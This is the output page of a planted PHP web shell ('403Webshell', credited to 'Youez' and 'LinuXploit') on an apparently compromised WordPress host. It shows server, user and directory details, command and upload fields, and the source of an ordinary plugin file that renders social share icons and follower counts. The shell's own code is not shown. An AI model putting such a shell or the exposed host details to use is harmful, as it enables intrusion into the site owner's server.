403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/glaza-core/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/glaza-core/includes/social.php
<?php

/**
 * @return string
 * twitter user name
 */
if ( ! function_exists( 'glaza_get_twitter_name' ) ) {
	function glaza_get_twitter_name() {
		$twitter_url = get_the_author_meta( 'twitter' );
		if ( ! empty( $twitter_url ) ) {
			$pos          = strpos( $twitter_url, 'twitter.com/' );
			$twitter_user = substr( $twitter_url, intval( $pos ) + 12 );
			$twitter_user = str_replace( '/', '', $twitter_user );
		} else {
			$twitter_user = get_bloginfo( 'name' );
		}

		return trim( $twitter_user );
	}
}


/**
 * ember twitter script
 */
if ( ! function_exists( 'glaza_twitter_ember_script' ) ) :
	function glaza_twitter_ember_script() {
		if ( ! defined( 'GLAZA_TWITTER_EMBER' ) ) {
			define( 'GLAZA_TWITTER_EMBER', 1 ); ?>
			<span style="display: none"><script>!function(d, s, id) {
						var js, fjs = d.getElementsByTagName(s)[0];
						if (!d.getElementById(id)) {
							js = d.createElement(s);
							js.id = id;
							js.src = "//platform.twitter.com/widgets.js";
							fjs.parentNode.insertBefore(js, fjs);
						}
					}(document, "script", "twitter-wjs");</script></span>
		<?php
		}
	}
endif;


/**
 * share icons
 */
if ( ! function_exists( 'glaza_render_share_icon' ) ):
	function glaza_render_share_icon( $settings = array() ) {

		$protocol = 'http';
		if ( is_ssl() ) {
			$protocol = 'https';
		}

		$twitter_user = glaza_get_twitter_name();
		$post_title   = urlencode( html_entity_decode( get_the_title(), ENT_COMPAT, 'UTF-8' ) );

		if ( ! empty( $settings['facebook'] ) ) : ?>
			<a class="share-action share-icon share-facebook" href="<?php echo esc_attr( $protocol ); ?>://www.facebook.com/sharer.php?u=<?php echo urlencode( get_permalink() ); ?>" title="Facebook"><i class="fa fa-facebook"></i></a>
		<?php endif;

		if ( ! empty( $settings['twitter'] ) ) : ?>
			<a class="share-twitter share-icon" href="https://twitter.com/intent/tweet?text=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>&amp;url=<?php echo urlencode( get_permalink() ); ?>&amp;via=<?php echo urlencode( $twitter_user ); ?>" title="Twitter">
				<i class="fa fa-twitter"></i>
				<?php glaza_twitter_ember_script(); ?>
			</a>
		<?php endif;

		if ( ! empty( $settings['googleplus'] ) ) : ?>
			<a class="share-action share-icon share-google" href="<?php echo esc_attr( $protocol ); ?>://plus.google.com/share?url=<?php echo urlencode( get_permalink() ); ?>" title="Google +"><i class="fa fa-google"></i></a>
		<?php endif;

		if ( ! empty( $settings['pinterest'] ) ) :
			$image = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), 'glaza_crop_1200x0' );
			if ( is_plugin_active( 'wordpress-seo/wp-seo.php' ) and get_post_meta( get_the_ID(), '_yoast_wpseo_metadesc', true ) != '' ) {
				$pinterest_description = get_post_meta( get_the_ID(), '_yoast_wpseo_metadesc', true );
			} else {
				$pinterest_description = $post_title;
			} ?>
			<a class="share-action share-icon share-pinterest" href="<?php echo esc_attr( $protocol ); ?>://pinterest.com/pin/create/button/?url=<?php echo urlencode( get_permalink() ); ?>&amp;media=<?php if ( ! empty( $image[0] ) ) {
				echo( esc_url( $image[0] ) );
			} ?>&amp;description=<?php echo htmlspecialchars( $pinterest_description, ENT_COMPAT, 'UTF-8' ); ?>" title="Pinterest"><i class="fa fa-pinterest-p"></i></a>
		<?php endif;

		if ( ! empty( $settings['linkedin'] ) ) : ?>
			<a class="share-action share-icon share-linkedin" href="<?php echo esc_attr( $protocol ); ?>://linkedin.com/shareArticle?mini=true&amp;url=<?php echo urlencode( get_permalink() ); ?>&amp;title=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>" title="linkedIn"><i class="fa fa-linkedin"></i></a>
		<?php endif;

		if ( ! empty( $settings['tumblr'] ) ) : ?>
			<a class="share-action share-icon share-tumblr" href="<?php echo esc_attr( $protocol ); ?>://www.tumblr.com/share/link?url=<?php echo urlencode( get_permalink() ); ?>&amp;name=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>&amp;description=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>" title="Tumblr"><i class="fa fa-tumblr"></i></a>
		<?php endif;

		if ( ! empty( $settings['reddit'] ) ) : ?>
			<a class="share-action share-icon share-reddit" href="<?php echo esc_attr( $protocol ); ?>://www.reddit.com/submit?url=<?php echo urlencode( get_permalink() ); ?>&amp;title=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>" title="Reddit"><i class="fa fa-reddit"></i></a>
		<?php endif;

		if ( ! empty( $settings['vk'] ) ) : ?>
			<a class="share-action share-icon share-vk" href="<?php echo esc_attr( $protocol ); ?>://vkontakte.ru/share.php?url=<?php echo urlencode( get_permalink() ); ?>" title="VKontakte"><i class="fa fa-vk"></i></a>
		<?php endif;

		if ( ! empty( $settings['email'] ) ) : ?>
			<a class="share-action share-icon share-email" href="mailto:?subject=<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>&amp;BODY=<?php echo urlencode( glaza_translate( 'share_email' ) ) . urlencode( get_permalink() ); ?>" title="Email"><i class="fa fa-envelope"></i></a>
		<?php endif;
	}
endif;


/**
 * render like
 */
if ( ! function_exists( 'glaza_render_like' ) ) :
	function glaza_render_like() {

		$protocol = 'http';
		if ( is_ssl() ) {
			$protocol = 'https';
		}
		$twitter_user = glaza_get_twitter_name();
		$post_title   = urlencode( html_entity_decode( get_the_title(), ENT_COMPAT, 'UTF-8' ) ); ?>
		<div class="like-box clearfix">
			<div class="like-el">
				<iframe src="<?php echo esc_attr( $protocol ); ?>://www.facebook.com/plugins/like.php?href=<?php echo get_permalink() ?>&amp;layout=button_count&amp;show_faces=false&amp;width=105&amp;action=like&amp;colorscheme=light&amp;height=21" style="border:none; overflow:hidden; width:105px; height:21px; background-color:transparent;"></iframe>
			</div>
			<div class="like-el">
				<a href="<?php echo esc_attr( $protocol ); ?>://twitter.com/share" class="twitter-share-button" data-url="<?php echo get_permalink() ?>" data-text="<?php echo htmlspecialchars( $post_title, ENT_COMPAT, 'UTF-8' ); ?>" data-via="<?php echo urlencode( $twitter_user ); ?>" data-lang="en"></a>
				<?php glaza_twitter_ember_script(); ?>
			</div>
			<div class="like-el">
				<div class="g-plusone" data-size="medium" data-href="<?php echo get_permalink() ?>"></div>
				<script type="text/javascript">
					(function() {
						var po = document.createElement("script");
						po.type = "text/javascript";
						po.async = true;
						po.src = "https://apis.google.com/js/plusone.js";
						var s = document.getElementsByTagName("script")[0];
						s.parentNode.insertBefore(po, s);
					})();
				</script>
			</div>
		</div>
	<?php
	}
endif;


/**
 * @return array
 * author info
 */
if ( ! function_exists( 'glaza_additional_author_info' ) ) :
	function glaza_additional_author_info( $user ) {

		if ( ! is_array( $user ) ) {
			$user = array();
		}

		$data = array(
			'job'        => esc_html__( 'Job Name', 'glaza-core' ),
			'facebook'   => esc_html__( 'Facebook', 'glaza-core' ),
			'twitter'    => esc_html__( 'Twitter', 'glaza-core' ),
			'googleplus' => esc_html__( 'Google Plus', 'glaza-core' ),
			'instagram'  => esc_html__( 'Instagram', 'glaza-core' ),
			'pinterest'  => esc_html__( 'Pinterest', 'glaza-core' ),
			'linkedin'   => esc_html__( 'LinkedIn', 'glaza-core' ),
			'tumblr'     => esc_html__( 'Tumblr', 'glaza-core' ),
			'flickr'     => esc_html__( 'Flickr', 'glaza-core' ),
			'skype'      => esc_html__( 'Skype', 'glaza-core' ),
			'snapchat'   => esc_html__( 'Snapchat', 'glaza-core' ),
			'myspace'    => esc_html__( 'Myspace', 'glaza-core' ),
			'youtube'    => esc_html__( 'Youtube', 'glaza-core' ),
			'bloglovin'  => esc_html__( 'Bloglovin', 'glaza-core' ),
			'digg'       => esc_html__( 'Digg', 'glaza-core' ),
			'dribbble'   => esc_html__( 'Dribbble', 'glaza-core' ),
			'soundcloud' => esc_html__( 'Soundcloud', 'glaza-core' ),
			'vimeo'      => esc_html__( 'Vimeo', 'glaza-core' ),
			'reddit'     => esc_html__( 'Reddit', 'glaza-core' ),
			'vkontakte'  => esc_html__( 'Vkontakte', 'glaza-core' ),
			'whatsapp'   => esc_html__( 'Whatsapp', 'glaza-core' ),
			'rss'        => esc_html__( 'Rss', 'glaza-core' ),
		);

		$user = array_merge( $user, $data );

		return $user;
	}
endif;
add_filter( 'user_contactmethods', 'glaza_additional_author_info' );


/**
 * @param $str
 *
 * @return int
 * extract number
 */
if ( ! function_exists( 'glaza_extract_number' ) ) {
	function glaza_extract_number( $str ) {
		return intval( preg_replace( '/[^0-9]+/', '', $str ), 10 );
	}
}


/**
 * @param $page
 * @param $token
 * @param $widget_id
 *
 * @return int
 * facebook follower
 */
if ( ! function_exists( 'glaza_follower_fb' ) ) {
	function glaza_follower_fb( $data ) {

		if ( empty( $data['facebook_page'] ) ) {
			return false;
		}

		$cache = get_transient( 'social_follower' );
		if ( isset( $cache[ $data['widget_id'] ]['facebook'] ) ) {
			return $cache[ $data['widget_id'] ]['facebook'];
		}

		$fan    = false;
		$params = array(
			'sslverify' => false,
			'timeout'   => 100
		);

		if ( ! empty( $token ) ) {
			$response = wp_remote_get( 'https://graph.facebook.com/v2.9/' . urlencode( $data['facebook_page'] ) . '?access_token=' . $token . '&fields=fan_count', $params );
			if ( ! is_wp_error( $response ) && isset( $response['response']['code'] ) && '200' == $response['response']['code'] ) {
				$response = json_decode( wp_remote_retrieve_body( $response ) );
			}

			if ( ! empty( $response->fan_count ) ) {
				$fan = $response->fan_count;
			}
		}

		if ( false == $fan ) {
			$filter = array(
				array(
					'start_1' => 'id="PagesLikesCountDOMID"',
					'start_2' => '<span',
					'start_3' => '>',
					'end_4'   => '<span',
				),
				array(
					'start_1' => '["PagesLikesTab","renderLikesData",["',
					'start_2' => '},',
					'start_3' => '],',
					'end_4'   => '],[]],["PagesLikesTab"',
				)
			);

			$response = wp_remote_get( 'https://www.facebook.com/' . $data['facebook_page'] );

			if ( is_wp_error( $response ) || empty( $response['response']['code'] ) || '200' != $response['response']['code'] ) {
				$response = wp_remote_get( 'https://www.facebook.com/' . $data['facebook_page'], $params );
			}

			if ( ! is_wp_error( $response ) && ! empty( $response['response']['code'] ) && '200' == $response['response']['code'] ) {
				$response = wp_remote_retrieve_body( $response );
				if ( ! empty( $response ) && $response !== false ) {
					$flag            = false;
					$response_backup = $response;

					foreach ( $filter as $filter_el ) {
						$response = $response_backup;
						foreach ( $filter_el as $key => $value ) {

							$key = explode( '_', $key );
							$key = $key[0];

							if ( $key == 'start' ) {
								$key = false;
							} elseif ( $value == 'end' ) {
								$key = true;
							}

							$key = (bool) $key;

							$index = strpos( $response, $value );
							if ( $index === false ) {
								break;
							}

							if ( $key ) {
								$response = substr( $response, 0, $index );
								$flag     = true;

							} else {
								$response = substr( $response, $index + strlen( $value ) );
							}
						}

						if ( $flag ) {
							break;
						}
					}

					if ( strlen( $response ) < 150 ) {
						$count = glaza_extract_number( $response );

						if ( is_numeric( $count ) && strlen( number_format( $count ) ) < 16 ) {
							$fan = intval( $count );
						}
					}
				}
			}
		}

		$cache[ $data['widget_id'] ]['facebook'] = $fan;
		set_transient( 'social_follower', $cache, 12000 );

		return $fan;
	}
}


/**
 * @param $data
 *
 * @return bool|int
 * twitter counter
 */
if ( ! function_exists( 'glaza_follower_twitter' ) ) {
	function glaza_follower_twitter( $data ) {

		if ( empty( $data['user'] ) ) {
			return false;
		}

		$cache = get_transient( 'social_follower' );
		if ( isset( $cache[ $data['widget_id'] ]['twitter'] ) ) {
			return $cache[ $data['widget_id'] ]['twitter'];
		}

		$fan = false;

		if ( ! empty( $data['consumer_key'] ) && ! empty( $data['consumer_secret'] ) ) {

			$credentials = $data['consumer_key'] . ':' . $data['consumer_secret'];
			$to_send     = base64_encode( $credentials );
			$token       = get_option( 'glaza_twitter_token' );

			if ( empty( $token ) ) {
				$args = array(
					'method'      => 'POST',
					'httpversion' => '1.1',
					'blocking'    => true,
					'headers'     => array(
						'Authorization' => 'Basic ' . $to_send,
						'Content-Type'  => 'application/x-www-form-urlencoded',
					),
					'body'        => array( 'grant_type' => 'client_credentials' )
				);
				add_filter( 'https_ssl_verify', '__return_false' );
				$response = wp_remote_post( 'https://api.twitter.com/oauth2/token', $args );
				$keys     = json_decode( wp_remote_retrieve_body( $response ) );
				if ( $keys ) {
					$token = $keys->access_token;
					update_option( 'glaza_twitter_token', $token );
				};
			}

			$args = array(
				'httpversion' => '1.1',
				'blocking'    => true,
				'headers'     => array(
					'Authorization' => "Bearer $token"
				)
			);
			add_filter( 'https_ssl_verify', '__return_false' );
			$api_url  = 'https://api.twitter.com/1.1/users/show.json?screen_name=' . $data['user'];
			$response = wp_remote_get( $api_url, $args );
			if ( ! is_wp_error( $response ) ) {
				$followers = json_decode( wp_remote_retrieve_body( $response ) );
				if ( ! empty( $followers->followers_count ) ) {
					$fan = $followers->followers_count;
				}
			}
		}

		if ( false == $fan ) {

			$params = array(
				'timeout'   => 100,
				'sslverify' => false
			);

			$filter = array(
				'start_1' => 'ProfileNav-item--followers',
				'start_2' => 'title',
				'end'     => '>'
			);

			$response = wp_remote_get( 'https://twitter.com/' . $data['user'], $params );

			if ( ! is_wp_error( $response ) && ! empty( $response['response']['code'] ) && '200' == $response['response']['code'] ) {
				$response = wp_remote_retrieve_body( $response );

				if ( ! empty( $response ) && $response !== false ) {
					foreach ( $filter as $key => $value ) {

						$key = explode( '_', $key );
						$key = $key[0];

						if ( $key == 'start' ) {
							$key = false;
						} else if ( $value == 'end' ) {
							$key = true;
						}
						$key = (bool) $key;

						$index = strpos( $response, $value );
						if ( $index === false ) {
							break;
						}
						if ( $key ) {
							$response = substr( $response, 0, $index );
						} else {
							$response = substr( $response, $index + strlen( $value ) );
						}
					}

					if ( strlen( $response ) < 100 ) {
						$fan = glaza_extract_number( $response );
						if ( is_numeric( $fan ) && strlen( number_format( $fan ) ) < 15 ) {
							$fan = intval( $fan );
						}
					}

				}
			}
		}

		$cache[ $data['widget_id'] ]['twitter'] = $fan;
		set_transient( 'social_follower', $cache, 12000 );

		return $fan;
	}
}


/**
 * @param $data
 *
 * @return int
 * pinterest counter
 */
if ( ! function_exists( 'glaza_follower_pin' ) ) {
	function glaza_follower_pin( $data ) {

		if ( empty( $data['user'] ) ) {
			return false;
		}

		$cache = get_transient( 'social_follower' );
		
		if ( isset( $cache[ $data['widget_id'] ]['pinterest'] ) ) {
			return $cache[ $data['widget_id'] ]['pinterest'];
		}

		$fan    = 0;

		$response = get_meta_tags( 'http://pinterest.com/' . $data['user'] . '/' );
		if ( ! empty( $response ) && ! empty( $response['pinterestapp:followers'] ) ) {
			$fan = intval( strip_tags( $response['pinterestapp:followers'] ) );
		}

		$cache[ $data['widget_id'] ]['pinterest'] = $fan;
		set_transient( 'social_follower', $cache, 12000 );

		return $fan;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit